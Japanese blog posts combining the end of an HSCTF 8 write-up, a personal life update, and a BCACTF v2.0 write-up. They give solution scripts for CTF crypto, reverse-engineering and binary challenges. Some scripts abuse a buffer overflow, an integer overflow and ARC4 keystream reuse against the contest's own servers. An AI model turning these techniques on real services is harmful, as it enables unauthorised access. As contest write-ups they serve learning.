flag{:monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER ::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER:}


regulus-regulus 466pt


Anhinga anhinga
nc regulus-regulus.hsc.tf 1337

これと全く同じです。

Cyber Apocalypse CTF 2021 writeup - Attack All Around

flag{r3gulus_regu1us_regUlus_regulu5_regUlus_Regulus_reguLus_regulns_reGulus_ r3gulus_regu|us}


cyanocitta-cristata-cyanotephra-but-fixed 466pt


Only the ciphertext has changed from the original challenge.
The Blue Jay (Cyanocitta cristata) is a passerine bird in the family Corvidae, native to North America. It is resident through most of eastern and central United States and southern Canada, although western populations may be migratory. It breeds in both deciduous and coniferous forests, and is common near and in residential areas. It is predominately blue with a white chest and underparts, and a blue crest. It has a black, U-shaped collar around its neck and a black border behind the crest. Sexes are similar in size and plumage, and plumage does not vary throughout the year. Four subspecies of the Blue Jay are recognized.
ファイル:cyanocitta-cristata-cyanotephra.sage, output.txt

but-fixedとありますが、cyanocitta-cristata-cyanotephraと同じ解法です。

先程の問題はflagが長すぎてもらった暗号文をlong_to_bytesするとほとんどflagが見えてしまう現象がありました。しかも同じ文字列が続いていたのでそこからエスパーして当てた人もいそう。それを無くしたのでしょう。

flag{d8smdsx01a0}


agelaius-phoeniceus 479pt


What's with the bird themed challenges?
ファイル:agelaius-phoeniceus.py, output.txt

与えられたファイルの16行目で出力された配列をoutsとします。

A = [[outs[0~99]], [outs[1~100], ... , outs[99~198] ] #100×100 正方行列
x = [g.s[0], g.s[1], ... , g.s[99] ] #縦ベクトル、未知数
B = [outs[100], ous[101], ..., outs[199] ] #縦ベクトル

Ax = B (mod n)

上式のように表すことができます。

このサイトが参考になりすぎる!

https://pc1.math.gakushuin.ac.jp/~shin/html-files/Algebra_Introduction/2016/06.pdf

まずAの余因子行列A' とやらを求めます。逆行列A_invの場合、A×A_inv=Eとなります。余因子行列の場合、A×A' =(det A)Eとなります。なので逆行列を求めて、それをAの行列式倍すれば余因子行列となります。

cA'×B = x mod n ※c = (det A)^-1 mod n

これで未知数xの縦ベクトルが求められました。ここでxがプログラム上のg.sと一致します。

g.sとg.coをセットしたら200回g.next()を実行させ、与えられた暗号文とg.next()をxorさせたらflagが復元されました。

from Crypto.Util.number import *

def Next(s,c,n):
    tmp = 0
    for i in range(100):
        tmp += s[i]*c[i]
        tmp %= n
    s.append(tmp)
    return s[0], s[1:]

f = open("output.txt")
a = f.readlines()
tmp = a[0].split(",")
val = []
for i in range(len(tmp)-1):
    val.append(int(tmp[i][1:]))
val.append(int(tmp[-1][1:-2]))

det = (省略) #sageを使って求める
n = 18446744073709551629
c = inverse(det,n)

det_n = det%n
f = open("inv.txt") #Aの逆行列が入っている
A_inv = []
a = f.readlines()
for t in a:
    x = t[1:-2].split()
    tmp = []
    for y in x: tmp.append(int(y)*det_n)
    A_inv.append(tmp)

A = mat

E = []
for i in range(100):
    temp = []
    for j in range(100):
        tmp = 0
        for k in range(100):
            tmp += A[i][k]*A_inv[j][k]
            tmp %= n
        temp.append(tmp)
    E.append(temp)
print(E)

B = []
for i in range(100,200): B.append(val[i])
L = []
for i in range(100):
    tmp = 0
    for j in range(100):
        tmp += A_inv[i][j]*B[j]
    L.append(tmp)

C = []
for l in L:
    C.append((c*l))

S = [val[i] for i in range(100)]
for i in range(200):
    g, S = Next(S,C,n)
    print(i)
    assert g == val[i]

enc = (省略)
lf = len(enc)//2
k = ""
for i in range(lf):
    g, S = Next(S,C,n)
    k += hex(g)[2:].zfill(16)
for i in range(0,len(enc),2):
    flag = int(enc[i:i+2],16)^int(k[i:i+2],16)
    print(chr(flag),end="")
print()

flag{if_i_had_a_nickel_4or_ev3ry_st0re_h3re_1n_town_with_a_fu11_suit_of_armor_0ut_ in_front_i_would_have_two_nickl3s_wh1ch_isn't_a_l0t_but_it's_weird_that_we_h4ve_tw0}


bucephala-albeola 487pt



nc bucephala-albeola.hsc.tf 1337

なぜ解けたか未だに分からない問題です。

keyを送るとenc(flag, key)を返してくれます。"a"~"z"を一文字ずつ送ると以下の事に気付きました。

key: a
enc(flag,key): 74 83 64 95 95 54 53 84 56 95 54 53 54 86 54 83 54 67 54 83 54 74 54 95 84 63 54 64 53
key: b
enc(flag,key): 47 56 37 68 68 27 26 57 29 68 27 26 27 59 27 56 27 40 27 56 27 47 27 68 57 36 27 37 26
key: c
enc(flag,key): 85 94 75 106 106 65 64 95 67 106 65 64 65 97 65 94 65 78 65 94 65 85 65 106 95 74 65 75 64
key: d
enc(flag,key): 83 92 73 104 104 63 62 93 65 104 63 62 63 95 63 92 63 76 63 92 63 83 63 104 93 72 63 73 62
key: e
enc(flag,key): 86 95 76 107 107 66 65 96 68 107 66 65 66 98 66 95 66 79 66 95 66 86 66 107 96 75 66 76 65
key: f
enc(flag,key): 64 73 54 85 85 44 43 74 46 85 44 43 44 76 44 73 44 57 44 73 44 64 44 85 74 53 44 54 43
key: g
enc(flag,key): 77 86 67 98 98 57 56 87 59 98 57 56 57 89 57 86 57 70 57 86 57 77 57 98 87 66 57 67 56
key: h
enc(flag,key): 76 85 66 97 97 56 55 86 58 97 56 55 56 88 56 85 56 69 56 85 56 76 56 97 86 65 56 66 55
key: i
enc(flag,key): 44 53 34 65 65 24 23 54 26 65 24 23 24 56 24 53 24 37 24 53 24 44 24 65 54 33 24 34 23
key: j
enc(flag,key): 44 53 34 65 65 24 23 54 26 65 24 23 24 56 24 53 24 37 24 53 24 44 24 65 54 33 24 34 23
key: k
enc(flag,key): 75 84 65 96 96 55 54 85 57 96 55 54 55 87 55 84 55 68 55 84 55 75 55 96 85 64 55 65 54
key: l
enc(flag,key): 73 82 63 94 94 53 52 83 55 94 53 52 53 85 53 82 53 66 53 82 53 73 53 94 83 62 53 63 52
key: m
enc(flag,key): 55 64 45 76 76 35 34 65 37 76 35 34 35 67 35 64 35 48 35 64 35 55 35 76 65 44 35 45 34
key: n
enc(flag,key): 43 52 33 64 64 23 22 53 25 64 23 22 23 55 23 52 23 36 23 52 23 43 23 64 53 32 23 33 22
key: o
enc(flag,key): 54 63 44 75 75 34 33 64 36 75 34 33 34 66 34 63 34 47 34 63 34 54 34 75 64 43 34 44 33
key: p
enc(flag,key): 57 66 47 78 78 37 36 67 39 78 37 36 37 69 37 66 37 50 37 66 37 57 37 78 67 46 37 47 36
key: q
enc(flag,key): 66 75 56 87 87 46 45 76 48 87 46 45 46 78 46 75 46 59 46 75 46 66 46 87 76 55 46 56 45
key: r
enc(flag,key): 63 72 53 84 84 43 42 73 45 84 43 42 43 75 43 72 43 56 43 72 43 63 43 84 73 52 43 53 42
key: s
enc(flag,key): 56 65 46 77 77 36 35 66 38 77 36 35 36 68 36 65 36 49 36 65 36 56 36 77 66 45 36 46 35
key: t
enc(flag,key): 53 62 43 74 74 33 32 63 35 74 33 32 33 65 33 62 33 46 33 62 33 53 33 74 63 42 33 43 32
key: u
enc(flag,key): 46 55 36 67 67 26 25 56 28 67 26 25 26 58 26 55 26 39 26 55 26 46 26 67 56 35 26 36 25
key: v
enc(flag,key): 84 93 74 105 105 64 63 94 66 105 64 63 64 96 64 93 64 77 64 93 64 84 64 105 94 73 64 74 63
key: w
enc(flag,key): 65 74 55 86 86 45 44 75 47 86 45 44 45 77 45 74 45 58 45 74 45 65 45 86 75 54 45 55 44
key: x
enc(flag,key): 67 76 57 88 88 47 46 77 49 88 47 46 47 79 47 76 47 60 47 76 47 67 47 88 77 56 47 57 46
key: y
enc(flag,key): 87 96 77 108 108 67 66 97 69 108 67 66 67 99 67 96 67 80 67 96 67 87 67 108 97 76 67 77 66
key: z
enc(flag,key): 45 54 35 66 66 25 24 55 27 66 25 24 25 57 25 54 25 38 25 54 25 45 25 66 55 34 25 35 24
  • "i", "j"1文字の時は全く同じ暗号文となる。
  • 29個の整数が送られてくるが、25種類の1個目に注目すると、数値が5×5のような形になる(ex. 43~47, 53~57, ... ,93~97)

問題文の四角形も考慮し、これではないかとエスパー。

ポリュビオスの暗号表 - Wikipedia

上の例の場合、数値順に並べそのkeyを当てはめると、ncする度に異なりますがこんなような感じになります。

nizub
tomsp
rfwqx
lakhg
dvcey

この5×5の表は、29の送られてくる数値を並べると全て同じ並びになります。

ここでenc(flag, key)を考えます。keyとflagの値によってこの値が決まると考えた時、flagが固定なので毎回変わる上の5×5の表はランダムでflagに依存しないと考えます。

では、enc関数にflagはどう影響しているのでしょうか。ここで、上の5×5の表の開始位置(上の例では"n")が異なることに注目します。key=nの時の1つ目の数値が、なぜ"11"スタートではなく"43"なのでしょう。

ここで、5×5の表の開始位置も5×5の形になることを見つけます。flagの1文字がこの開始位置を決定しているとエスパーします。つまりflagを1文字ずつ見ていった場合、それが"n"だったら5×5の表の開始位置が最も左上になります。反対に"y"だったら5×5の表の開始位置が最も右下になります。

自分でも説明が良く分かっていないのですが、これで提出したらcorrectとなりました。こんな単語あるんだ。

フロクシノーシナイヒリピリフィケイション - Wikipedia

flag{floccinaucinihilipilification}


Problems&Solver


GitHub - ksbowler/hsctf_8

【ご報告】生きています

大学院復学してもう3ヶ月近く経って、気付いたらすぐ学生終わってしまうのではと焦っています。良ければ読んでください

学業


研究生活


留学時に行っていた研究の続きを主軸としてやっています。

加えて、研究室の後輩の研究を手伝ったり勉強会に参加したりと、幅広くネットワークセキュリティを学んでいます。

研究室同期が卒業し年下の学生がほとんどなのですが、みんな頭が良くてついていくので必死です。改めて良い環境だなと感じるこの頃です。


その他


競技プログラミング

競技プログラミングのコンテストにAtCoderというものがあり、ランクを上げたいと精進していました。無事誕生日にランクが上がり、今は少しお休み中です。

その時の記録です。よろしければ見てください!

partender810.hatenablog.com


CTF

Capture The Flagというコンピュータセキュリティコンテストというものがあり、m1z0r3という大学のチームで活動しています。これがまたハマってしまい、土日はほとんどCTFのコンテストに出て問題を解くのに潰しています。

他の人と情報をやり取りする時に情報を暗号化するのですが、その暗号化の方式がずさんだと情報が漏洩してしまいます。その暗号を解く問題を担当しており、情報系の謎解きみたいな感じで熱中してます。

今年度また強い新入生が加入してくれて、刺激になっております。後輩には負けまい、と暗号学やプログラミングを学んでいます!



スポーツ


ボウリング


実は緊急事態宣言前に少しやってました。

久しぶりに投げたら、なんと1ゲーム目でノーミス2ダボの210。「俺ボウリング上手くね?」と思ったのも束の間、その後はブランクを感じさせる素晴らしい投球から抜け出せません。

帰ったら、家の少し固めの食器棚がを開けられないほどの筋肉痛が襲ってきました…。ようやく投げた後2日間で筋肉痛が来なくなった頃、緊急事態宣言となり休んでおります。

また、緊急事態宣言が明けたら少しずつ投げようかと思っています。



その他


体の変化


体重の維持が難しい

今までそれなりに運動をしていたようで、やらなくなった途端順調に肥えてきました。

元の体重までは7kg近くもあるので諦めているのですが、少しは落としたいと思いダイエットもどきをしております。楽して痩せたい。

散歩や軽い筋トレもしているのですが、最近の楽しみは週1のキャッチボール。ボウリングしなくなったのでなんか代わりにやろうと始めたのですが、最近梅雨のせいで中止になることが多く、将来は金持ちになって室内練習場でも立てようかと薄く考えております。


さらに酒弱に

ビール一杯も乾かぬ内に顔が真っ赤になる人でしたが、いまやビール一杯飲んだら水をかなり飲まないと次の日頭ガンガンになってしまうほどになりました。原因究明中です。


趣味(?)


巨人戦毎試合TV観戦

昔はプロ野球が放送されている時間に家にいることは少なかったのですが、今は巨人戦の時間に合わせた生活スタイルになりました。なんとか阪神ヤクルトをまくってくれ!


ドラゴンクエスト

スマホのアプリでやっています。いずれは全ての世界を救いたいですね。Ⅻが楽しみです。

今はⅦをやっているのですが、長くて全然終わらない…。


出会い


無。求。


さいごに


また3ヶ月後くらいに生存報告するので、また読んでくれると幸いです。

BCACTF v2.0 writeup

https://play.bcactf.com/

Result


今までで一番良い成績だったと思います!!

f:id:partender810:20210614123433p:plain
素直に嬉しい

Writeup



crypto

Easy RSA 50pt

As part of his CTF101 class, Gerald needs to find the plaintext that his teacher encrypted. Can you help him do his homework? ( It's definetely not cheating ;) )
ファイル:enc.txt

p:  251867251891350186672194341006245222227
q:  31930326592276723738691137862727489059
n:  8042203610790038807880567941309789150434698028856480378667442108515166114393
e:  65537
ct:  5247423021825776603604142516096226410262448370078349840555269847582407192135

素因数分解されているので、普通に秘密鍵求めて復号するだけです。

bcactf{RSA_IS_EASY_AFTER_ALL}



Cipher Mishap 75pt

My Caeser-loving friend decided to send me a text file, but before sending it, his sister, who loves Caps Lock, tampered with the file. Can you help me find out what my friend sent me? Note: the answer must be wrapped in bcactf{}
ファイル:text.txt

126-Y, 113-N, 122-N, 130-N, 117-N, 107-N, 137, 114-N, 127-Y, 137, 113-Y, 104-N, 131-N, 110-N, 137, 105-Y, 110-N, 110-N, 121-Y, 137, 131-Y, 114-N, 112-N, 110-N, 121-N, 110-N, 125-N, 110-N, 137, 114-Y, 121-N, 126-N, 127-N, 110-N, 104-N, 107-N

137がアンダースコアっぽいと気付き、色々試すと8進数であることが分かったのでASCII変換。

VKRXOG_LW_KDYH_EHHQ_YLJHQHUH_LQVWHDG

問題文よりCaesarが使われているはずなので試すとROT23で意味ある文になる。

SHOULD_IT_HAVE_BEEN_VIGENERE_INSTEAD

"-Y", "-N" はYが大文字でNが小文字とエスパー。

def ROT23(enc):
    ret = ""
    for s in enc:
        if ord("A") <= ord(s) <= ord("Z"):
            x = ord(s)-ord("A")-3
            if x < 0: x += 26
            ret += chr(ord("A")+x)
        else: ret += s
    return ret

f = open("text.txt")
a = f.readline().split()
print(a)
enc = ""
for i in a:
    enc += chr(int(i[:3],8))
print(enc)
rot_enc = ROT23(enc)
print(rot_enc)
flag = "bcactf{"
for i in range(len(a)):
    if len(a[i]) < 4: flag += rot_enc[i]
    else:
        if "N" in a[i]: flag += rot_enc[i].lower()
        else: flag += rot_enc[i]
flag += "}"
print(flag)

自分がやったのはROT23に気付いただけです。他は全てチームメイトが見つけました!

bcactf{Should_iT_Have_BeeN_Vigenere_Instead}



Sailing Thru Decryption 75pt

I seem to have lost something while I was sailing to France. I know it was one of my pets, but I can't seem to remember his name. Could you help me remember it?
ファイル:image.png

f:id:partender810:20210614125813p:plain
image.png

これの正体はこちらから。

picoGym cryptography writeup - Attack All Around

一番最後の行を読むと、「thekeyisfhskdn」-> 「the key is fhskdn」となります。「fhskdn」ってなんやねんと調べますが特に分からず。残った上の5行は、正解を言うと国際信号旗です。最後の行がそうなら、他も同じですよね。普通はそう考えます。

国際信号旗 - Wikipedia

しかし、私はそこでモールス信号ではないかと道を外れます。Sailingからそうではないかと…。モールス信号なら途中で空白があるはずなのですが、これにはありません。ここで何度も右往左往します。

はい、ほんとは01を表しているのでそれに沿ってASCII変換すると、

gjsmws{1x_o1k_x4pr_l3y4jn?}

となります。これはチームメイトがやってくれました。その時私は何をしていたかというと、散歩がてら進撃の巨人トモダチゲームの最新刊を買いに行ってました。ひどい先輩です。

うちに着いて進捗を見て、Vigenere暗号だと気付きcorrect。どうも、ゴール前で寝転がってボールが来たのでシュートだけ決める、チームからは絶対嫌われる選手です。

Vigenere暗号のkeyは「fhskdn」です。CyberChefで復号しました。

bcactf{1s_h1s_n4me_g3r4rd?}



Slightly Harder RSA 75pt

Gerald's homework is getting trickier. He isn't being given the primes anymore. Help him find the plaintext!
ファイル:enc.txt

n = 947358141650877977744217194496965988823475109838113032726009
e= 65537
ct=811950322931973288295794871117780672242424164631309902559564

nがfactorDBなどで素因数分解可能です。

bcactf{rsa_factoring}



Little e 100pt

Gerald's favorite prime is 3 and made it his public exponent; he keeps insisting that it's secure. Help me prove him wrong.
ファイル:encrypted.txt

N: 17260541145579198891286838820507756585494408484294770862002805660577661138753926064444981930310528890773266098356882517290033235056654103412024620204547445159627671127518965960486480229617902782023368077819854820837387791591683428592246121552228695417314295153721144499366280389254552597040315734269703314601367296670296596449184388246232676724558126845148454433428619114310396032130452938580427564701080866025573039407415733982384144637567337164211240182263026767455207192185903776322079215198832973810587735067694801737731617941390472537291532113711292822595269219795255224521641891049508289784761579371125213474439
e: 3
ct: 1112413624683819960899152482895461211039349964898672381675850025556800617245120168928400758297834676330400246617472191750627367991315450127361583383350639760738254818244740474313061192563860605923503717

me < nのパターンです。Low Public Exponent Attackですね。

bcactf{R54_N0T_50_S3CUR3_33}



RSAtrix 1 125pt

RSA, RSA, RSA. After so many RSA problems, they all start to look the same. But what looks different? Matrices! After a lot of detailed R&D, we're proud to present RSAtrix, the world's first* matrix RSA system!
ファイル:rt1.sage, enc.txt

出ましたsage。以下の難しそうなコードをsagemathで出力させると、5×5の行列で要素が0か1のものが出てきました

R = Zmod(n)
MS = MatrixSpace(R, 5, 5)
s = PermutationGroupElement('(1,4)(2,3,5)')
P = MS(s.matrix())

"""
[0 0 0 1 0]
[0 0 1 0 0]
[0 0 0 0 1]
[1 0 0 0 0]
[0 1 0 0 0]
"""

これを平文m倍して、nでの剰余となるので、enc.txtにある0でない要素はRSA暗号の暗号文cに該当します。p, qが分かっているので復号は簡単ですね。

bcactf{just-rsa-with-matrices-9385dax}



FNES 1 150pt

My friend developed this encryption service, and he's been trying to get us all to use it. Sure, it's convenient and easy to use, and it allows you to send encrypted messages easily, and...
Well, I want to get control of his service so I can monitor all the messages! I think he's hidden some features and files behind a secret admin passphrase. Can you help me access those hidden files?
nc crypto.bcactf.com 49153
ファイル:fnes1.py

fnes1.pyを見るとARC4という初耳の暗号を使っています。まずはそれについて調べました。

https://www2.nict.go.jp/csri/plan/H26-symposium/files/3-1.pdf

keyによって擬似乱数を生成して、平文とxorしたのが暗号文になるという理解です。「CTF ARC4 writeup」などでググりましたが、「ARC4は最初の512bytesを捨てないといけない」という脆弱性があるということでしたが理解できず、その問題のsolves数が5とかだったので諦めました。

fnes1.pyのtempkeyを定義しているところに注目します。

tempkey = SHA.new(int(key + int(time.time() / 10)).to_bytes(64, 'big')).digest()[0:16]
cipher = ARC4.new(tempkey)

keyは毎回同じ値でUNIXTIMEの整数部分を10で割った値と足しています。ん?

これは10秒毎にその値が変わります。つまり10秒以内に2回ncすれば、tempkeyが同じになるので生成する擬似乱数も同じになります。

目的はtarget_query="Open sesame... Flag please!"の暗号文を作り復号させることです。"flg!"が平文に含まれていると暗号化してくれないので"0"を送り暗号文をもらい"0"でxorして擬似乱数を得ます。そしてtarget_queryとxorしたのを渡すとflagがもらえました。

HOST, PORT = "crypto.bcactf.com", 49153
s, f = sock(HOST, PORT)
for _ in range(12): read_until(f)
key = "Open sesame... Flag please!"

#for i in range(len(key)):
read_until(f)
read_until(f,">>> ")
s.send(b"E\n")
read_until(f)
read_until(f,">>> ")
enc = "0"*len(key)
s.send(enc.encode()+b"\n")
read_until(f)
ct = read_until(f).strip()
s.close()
s, f = sock(HOST, PORT)
print(ct)
assert len(ct) == len(key)*2
pt = ""
for i in range(0,len(ct),2):
    x = int(ct[i:i+2],16)^ord("0")^ord(key[i//2])
    x = hex(x)[2:]
    if len(x) == 1: x = "0" + x
    pt += x

for _ in range(12): read_until(f)
read_until(f)
read_until(f,">>> ")
s.send(b"D\n")
read_until(f)
read_until(f,">>> ")
s.send(pt.encode()+b"\n")
while True: print(read_until(f))

bcactf{why-would-you-attack-your-FNES????-4x35rcg}



RSAtrix 2 200pt

Sure, you saw our first prototype, but you could obviously see it was just RSA slapped on a permutation matrix. Will you still be able to decode our messages if we conjugate our generator first?
ファイル:rt2.sage, enc.txt

RSAtrix 1と比べてCという行列が出てきました。チームメイトが解けた時に教えてくれたのですが、Cはランダムに要素を決めていると思いきや、seed(1)としているので毎回同じになります。なのでGがわかりその逆行列が求められるので、以下の式のようになります(やったのはチームメイトで自分は何もやっていない)。

M^e = (mI)^e * G^e
M^e * (G^e)^-1 = (mI)^e

これでRSAtrix 1のenc.txtのような、要素が0となんか大きい値=暗号文cが得られ、復号したらflagとなりました。

bcactf{permutation-conjugation-magic-3x876oeu}



Rainbow Passage 225pt

I'm pretty sure my friend has been communicating with the trickster god by beaming encrypted message at rainbows every time it rains. I've intercepted one of his messages along with its plaintext; can you help me figure out the password he uses so I can talk to the shape shifter myself?
To get the flag, wrap the password in bcactf{...}.
ファイル:rp.py, message.txt, enc.txt

まず、暗号化のアルゴリズムを理解するのに苦労します。

  1. パスワードを2文字ずつに分ける ASCII変換->2進数16bitsにして文字列として保存。今回パスワードが32文字なので16個の文字列が出来る。
  2. 平文を16文字ずつ分ける。暗号文の上位1byteは、上の16個の文字列の各0番目の文字に注目する。16個の文字列の0番目の文字列の0番目の文字が1なら平文の0番目をxorする(最初は0とxor)。
  3. 次に、16個の文字列の1番目の文字列の0番目の文字が1なら平文の1番目とxorする。 暗号文の上位2byte目は、上の16個の文字列の各1番目の文字に注目する。やり方は先と同様。
  4. 以上を繰り返す。

enc.txtの上位2bytes"0074"を例にとって考えます。"00"の方は、16個の文字列の0番目は必ず0なので、どれともxorしていません。一方、"74"の方はmessage.txtの"When sunlight st"の内いくつかをxorすると"74"になりました。こんな感じです。

解法として、bit全探査を行います。"When sunlight st"の内、どれを選べば0x74になるのでしょう。16文字で選ぶ/選ばないの通り数は、216 = 65536なので全探査の時間はそこまでかかりません。ちなみにこの場合、512通り考えられます。

では、この512通りを絞っていきます。"When sunlight st"の内、何番目を選べば0x74になるのかという組み合わせを記憶します(これが512通りあります)。その内正しい組み合わせは、次の16文字"rikes raindrops "でもenc.txtの上位18byte目と一致するはずです。さらに、次の16文字でも上位34byte目と一致します。これを繰り返していくと、正しい組み合わせが一意に定まります。

f = open("message.txt")
mes = f.readline().strip()
print(mes)
f = open("enc.txt")
enc = f.readline().strip()
print(enc)
s = []
for block in range(16):
    for i in tqdm(range(2**16)):
        t = bin(i)[2:]
        while len(t) < 16: t = "0"+t
        check = True
        #print(enc[2*j+2*block:2*j+2+2*block])
        for j in range(0,len(mes)-16,16):
            #print(enc[2*j+2*block:2*j+2+2*block])
            x = 0
            for k in range(16):
                if j+k >= len(mes): break
                if t[k] == "1":
                    x ^= ord(mes[j+k])
            x = hex(x)[2:]
            if len(x) == 1: x = "0" + x
            if enc[2*j+2*block:2*j+2+2*block] != x:
                check = False
                break
            #else:
            #  print(i)
        if check:
            s.append(i)
            print("find! :",i)
            break

ここで、"find! : {i}" と出るiはパスワードのASCII変換ではなく、ASCII変換したx bit目を上から見た時の数値になります。例えば、2回目に出る"find! : {i}"は、i=61305ですが、下の図の2bit目を上から見た状態です。

0111001101111001
0111001101110100
0110010101101101
0010110101101111
0110011000101101
0110110001101001
0110111001100101
0110000101110010
0010110101100101
0111000101110101
0110000101110100
0110100101101111
0110111001110011
0010110100110010
0011011100110011
0110010001100101

これをうまく変換させるとパスワードが手に入り、bcactf{}で括って提出しました。

bcactf{system-of-linear-equations-273de}



FNES 2 375pt

After FNES got cracked, my friend enlisted his ex-girlfriend to help him improve his service. She majored in cryptography, so it should theoretically be quite a bit better now. Unless she installed a backdoor, that is...
nc crypto.bcactf.com 49154
ファイル:fnes2.py

はい、Padding Oracle Attackですね。

Padding Oracle Attack 分かりやすく解説したい - Attack All Around

今回はEncryption Attackを使って、"Open sesame... Flag please!"の暗号文を作っていきます。やり方は上記のサイトを参考にしてください。

bcactf{high-priestess-of-the-temple-of-apollo-49b7x}



binex

BCA Mart 75pt

After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!
nc bin.bcactf.com 49153
ファイル:bca-mart.c, bca-mart

C言語のint型オーバーフローを使ってFlagを買います。

#include <stdio.h>
#include <stdlib.h>

int main() {
    int money = 15,amt=10000;
    while (1) {
        int tmp;
        tmp = 100*amt;
        if(tmp < money) {
            printf("%d\n",amt);
            break;
        }
        amt++;
    }
    return 0;
}

ここで出力された値の文だけFlagを買えばオーバーフローしてflagが表示されます。

bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}



Honors ABCs 75pt

Here at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.
And by learning, we obviously mean testing. Don't cheat!
nc bin.bcactf.com 49155
ファイル:honors-abcs.c, honors_abcs

int型変数gradeをバッファオーバーフローを利用して値を書き換えます。本来gdb等を利用してアドレスを求めて…とかになると思うのですが、そんなの分かんないんで長さを変えてって上手くいくときを狙います。最初の文字を0とするのが必須ですね。

HOST, PORT = "bin.bcactf.com", 49155
test = "0"*40
while True:
    test += "z"
    s, f = sock(HOST, PORT)
    for _ in range(11): read_until(f)
    read_until(f,"Answer for 1: ")
    s.send((test+"999").encode()+b"\n")
    print(test)
    recv_m = read_until(f).strip()
    print(recv_m)
    if "How" in recv_m:
        while True: print(read_until(f))
    s.close()



AP ABCs 100pt

Oh wow, they put a freshman in AP ABCs? Never thought I'd see this happen. Anyways, good luck, and make sure to not cheat on your AP test!
nc bin.bcactf.com 49154
ファイル:ap-abcs.c, ap-abcs

終わった後に解けたんですが、Honors ABCsの時と同様に長さを変えてってscore変数を0x73434241にしたいです。これがリトルエンディアンだと気付かずb"sCBA"と送っていました。いや問題名から"ABCs"となることに気付けよ!!!

HOST, PORT = "bin.bcactf.com", 49154
test = "0"
while True:
    s, f = sock(HOST, PORT)
    for _ in range(46): read_until(f)
    print(read_until(f,"Answer for 1: "))
    s.send((test+"ABCs").encode()+b"\n")
    for _ in range(2): read_until(f)
    print(test)
    recv_m = read_until(f).strip()
    print(recv_m)
    if "tsk" in recv_m:
        while True: print(read_until(f))
        test += "0"
    s.close()



rev

Digitally Encrypted 1 75pt

Gerald has just learned about this program called Digital which allows him to create circuits. Gerald wants to send messages to his friend, also named Gerald, but doesn't want Gerald (a third one) to know what they are saying. Gerald, therefore, built this encryption circuit to prevent Gerald from reading his messages to Gerald.
ファイル:circuit_1.dig, encrypted.txt

以下のサイトのREADME.mdにあるDownloadボタンでアプリを入手します。チームメイトが教えてくれました。

GitHub - hneemann/Digital: A digital logic designer and circuit simulator.

f:id:partender810:20210614220946p:plain
circuit_1.dig

自作ブロック暗号ですね。keyとxorするだけでkeyの値も分かっているので、暗号文とkeyをxorして終了です。

from Crypto.Util.number import *

enc = [0xB6A46EE913B33E19, 0xBCA67BD510B43632, 0xA4B56AFE13AC1A1E, 0xBDAA7FE602E4775E, 0xEDF63AB850E67010]

key = 0xD4C70F8A67D5456D
for i in enc:
    t = key^i
    print(long_to_bytes(t).decode(),end="")
print()

bcactf{that_was_pretty_simple1239152735}



Digitally Encrypted 2 150pt

Gerald and Gerald have just learned that Gerald has cracked their previous cypher. Gerald scolds Gerald, saying that he shouldn't have given away the key. Gerald, therefore, decides to create a new cypher, hopefully one that Gerald can't crack.
ファイル:circuit_2.dig, Block.dig, encrypted.txt

f:id:partender810:20210614221827p:plain
circuit_2.dig

f:id:partender810:20210614222025p:plain
Block.dig

今度の自作ブロック暗号は、平文とkeyによって暗号化しているようです。その具体的な方法がBlock.digに記載されています。keyの値も今回は非公開です。

まず、40bitsのkeyをkey1, key2に分けます。ともに32bitsで、key1はkeyの下位32bits, key2はkeyの上位32bitsとなります。灰色で薄く[0-31]とあり、最初は上位32bitsの事かと思いましたが、逆のようでした。

後は以下の式の通りです。

pt1 = 平文下位32bits, pt2 = 平文上位32bits
ct1 = 暗号文下位32bits, ct2 = 暗号文上位32bits
ct1 = pt2 xor not(key1 xor pt1)
ct2 = pt1 xor not(ct1 xor key2)
    = pt1 xor not( (pt2 xor not(key1 xor pt1) xor key2)

not()はbit反転です。pythonでは~があるようですが、~4 = -5となりよくわからなかったので自作しました。

def rev_bit_32(x):
    x = bin(x)[2:]
    while len(x) < 32: x = "0"+x
    ret = ""
    for i in range(len(x)):
        if x[i] == "1": ret += "0"
        else: ret += "1"
    return int(ret,2)

平文の最初7文字は"bcactf{"であることに注目します。pt2 = long_to_bytes(b"bcac"), pt1 = long_to_bytes("tf{?") となります。?は何かしらの1文字です。この?をbruteforceしていきます。

pt1, 2, ct1, 2が分かっているのでkey1, 2が求められます。key1, 2は24bits共有しているのでそうなるものをbruteforceします。今回は一意に決まったのでよかったです! key1, 2が求まったら、暗号文から平文を復元します。

from Crypto.Util.number import *

def rev_bit_32(x):
    x = bin(x)[2:]
    while len(x) < 32: x = "0"+x
    ret = ""
    for i in range(len(x)):
        if x[i] == "1": ret += "0"
        else: ret += "1"
    return int(ret,2)

def decoded(key1,key2,enc):
    e1 = int(enc[:8],16)
    e2 = int(enc[8:],16)
    tmp = rev_bit_32(key2^e1)
    pt1 = tmp^e2
    tmp = rev_bit_32(pt1^key1)
    pt2 = e1^tmp
    return (long_to_bytes(pt1) + long_to_bytes(pt2)).decode()

f = open("encrypted.txt")
a = f.readline().split()
print(a)
ptab = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}"
ct2 = int(a[0][:8],16)
ct1 = int(a[0][8:],16)
for p1 in ptab:
    plain = "bcactf{"+p1
    plain = bin(bytes_to_long(plain.encode()))[2:]
    while len(plain) < 64: plain = "0"+plain
    pt1 = int(plain[32:],2)
    pt2 = int(plain[:32],2)
    tmp = ct1^pt2
    tmp = rev_bit_32(tmp)
    key1 = tmp^pt1
    tmp = ct2^pt1
    tmp = rev_bit_32(tmp)
    key2 = ct1^tmp
    k1 = bin(key1)[2:]
    while len(k1) < 32: k1 = "0" + k1
    k2 = bin(key2)[2:]
    while len(k2) < 32: k2 = "0" + k2
    if k1[:24] == k2[-24:]:
        print(key1,key2)
        break


#decode

for enc in a:
    e1 = int(enc[8:],16)
    e2 = int(enc[:8],16)
    tmp = rev_bit_32(e1^key2)
    pt1 = tmp^e2
    tmp = rev_bit_32(pt1^key1)
    pt2 = tmp^e1
    pt = pow(2,32)*pt2+pt1
    print(long_to_bytes(pt).decode(),end="")
print()

bcactf{x0r5_4nD_NXoR5_aNd_NnX0r5_0r_xOr}



Problems&Solver


GitHub - ksbowler/BCACTF_v2.0


solved by Teammates


